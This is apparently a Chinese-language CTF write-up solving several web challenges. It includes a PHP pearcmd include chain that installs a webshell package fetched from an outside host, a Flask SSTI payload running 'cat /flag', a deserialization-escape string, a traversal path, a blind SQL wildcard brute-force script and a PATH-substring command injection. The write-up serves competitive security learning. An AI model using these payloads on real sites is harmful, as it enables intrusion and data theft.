巅峰极客 2020 & CTF Show 月饼杯

是好玩的比赛的 WriteUp!

巅峰极客 2020

MeowWorld

首先看 hint register_argc_argv ,打开环境之后发现在 index.php 有一个简单的文件包含。用 PHP 伪协议读取一圈文件,发现如下内容。

<?php 
    $f = $_GET['f'] ?? "home";
    include("{$f}.php"); 
?>

根据 hint 可知,argcargv 两个参数可以指定,参考 这篇文章 可以知道接下来需要做什么。既然要用 pearcmd,当然是首先读一手源码,于是利用上面的构造读取出 pearcmd 的源码,找到关键部分如下。

/**
     * Safely read the $argv PHP array across different PHP configurations.
     * Will take care on register_globals and register_argc_argv ini directives
     *
     * @return mixed the $argv PHP array or PEAR error if not registered
     */
    public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

}

可以发现 argv 会被当成参数返回,于是构造 ?f=pearcmd&argv=2+list,得到回显如下,于是按照文章上的指引,准备一个包。

首先下载 这个包,然后在 Archive_Tar-1.4.0/Archive 下增加一个一句话木马的 PHP 文件 zit.php。然后将 ./package.xml 文件中的 <content> 节点对应修改如下。

<contents>
  <dir name="/">
   <file baseinstalldir="/" md5sum="89b230679f31da6f8dbdea25095f4ca9" name="Archive/Tar.php" role="php" />
   <file baseinstalldir="/" md5sum="7cc168393304c0c9c0de96d5e5e318e0" name="Archive/zit.php" role="doc" />
   <file baseinstalldir="/" md5sum="2fb90f0be7089a45c09a0d1182792419" name="docs/Archive_Tar.txt" role="doc" />
  </dir>
 </contents>

将整个包按原格式压缩还原为 tar.gz,然后上传至服务器获取支链 https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz。接下来构造 ?f=pearcmd&argv=list+install+--installroot+/tmp/+https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz,得到包安装成功的回显 install ok: channel://pear.php.net/Archive_Tar-1.4.0

此时只需要找到 zit.php 的路由即可,随便输入一个之后看到报错中的关键信息 include_path='.:/usr/local/lib/php',于是拼合包的路径之后访问 /tmp/usr/local/lib/php/doc/Archive_Tar/Archive/zit 拿到 shell 的路由。使用蚁剑连接上去,可以看到 /readflag

执行 /readflag 时发现需要计算算术题,但是默认的虚拟终端没有交互,于是使用 perl 脚本完成这一步。在 /tmp/tmp 目录下写入脚本并执行即可得 flag。

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";

$r = substr($r,0,11);
$r = eval "$r";

print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
![](https://img.lemonprefect.cn/images/essay/3288e007-47a8-4869-8d8c-a2c31f2d3e97/c5c5d5cc4cbf1307e2d222b2253dedf2.png)

babyflask

看界面,老 Whoami 了。直接看请求,发现是 SSTI,一套标准拳打出,拿到 flag。

.../loged?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
![](https://img.lemonprefect.cn/images/essay/3288e007-47a8-4869-8d8c-a2c31f2d3e97/3d21a512425b235c99c2b7d9d1566eb6.png)

CTF Show 月饼杯

此夜圆

return str_replace('Firebasky', 'Firebaskyup', $string);

此处造成了简单的反序列化逃逸,Firebasky 被替换成 Firebaskyup,字符多出两个。需要构造的反序列化字符串可以写成这样。

O:1:"a":2:{s:5:"uname";s:(这里是长度):"(这里是用户名)";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

总共填充了 30 个字符 ";s:8:"password";s:5:"yu22x";},因此需要 15 次替换才能将这 30 个字符变成后面的反序列化内容。 于是构造出这样的 payload.

?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}

故人心

level 1 使用科学计数法表达一个极小的小数,采用 1e-199level 2 访问 .../robots.txt 可以发现 hinthint.txt 进而找到如下提示。

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

于是写个脚本跑一下 bc

<?php
for($i = 0;$i <= 999;$i++){
    $b = sprintf("0e%03d",$i) . "024452";
    if($b == hash("md2",$b)){
        echo "b = " . $b . "\n";
        break;
    }
}
for($i = 0; $i <= 9999;$i++){
    $c = sprintf("0e%04d",$i) . "48399";
    if($c == hash("md2",hash("md2",$c))){
        echo "c = " . $c . "\n";
        break;
    }
}

得到 b = 0e652024452,c = 0e603448399level 3

php 会把无法解析的协议当成目录

因此,结合目录穿越就能读到 flag。

lemon://ctfshow.com/../../../../../../../../../../../../../fl0g.txt

莫负婵娟

首先看一手页面源码,得到这样的 hint,用户名是 yu22x

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

结合题目描述的 hint 环境变量 +linux字符串截取 + 通配符,尝试一波 SQL 的通配符。

![](https://img.lemonprefect.cn/images/essay/3288e007-47a8-4869-8d8c-a2c31f2d3e97/1464c8fc3bf27ea30dff6843d53e65d4.png)

依照上图的结果构造一波 payload 发现当 password 参数为 6_______________________________ 时回显是不一样的,于是写个脚本跑出密码。

<?php
const ASCII_START = 32;
const ASCII_END = 127;
$result = "6";
for($i = 0; $i < 31;$i++){
    $p = sprintf("%0" . (30 - $i) . "d",0);
    if($i == 30){
        $p = "";
    }
    $p = str_replace("0","_",$p);

    for($j = ASCII_START;$j <= ASCII_END;$j++){
        if($j == 95){
            continue; //no "_" to be matched
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, '.../login.php');
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        $postData = array("password" => $result . chr($j) . $p, "username" => "yu22x");
        $postData = http_build_query($postData);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        $outcontent = curl_exec($ch);
        $httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
        curl_close($ch);
        printf("Now j is %d,string is %s\n",$j,$result . chr($j) . $p);
        if(strpos($outcontent,"I have filtered all the characters. Why can you come in? get out!") || $httpCode == 302){
            $result .= chr($j);
            echo $result;
            break;
        }
    }
}

可以得到密码为 67815b0c009ee970fe4014abaa3Fa6A0

New Section 使用环境变量截取出 nl ????.??? 的指令读取 flag.php

1.1.1.1;${PATH:14:1}${PATH:5:1} ????.???

results matching ""

    No results matching ""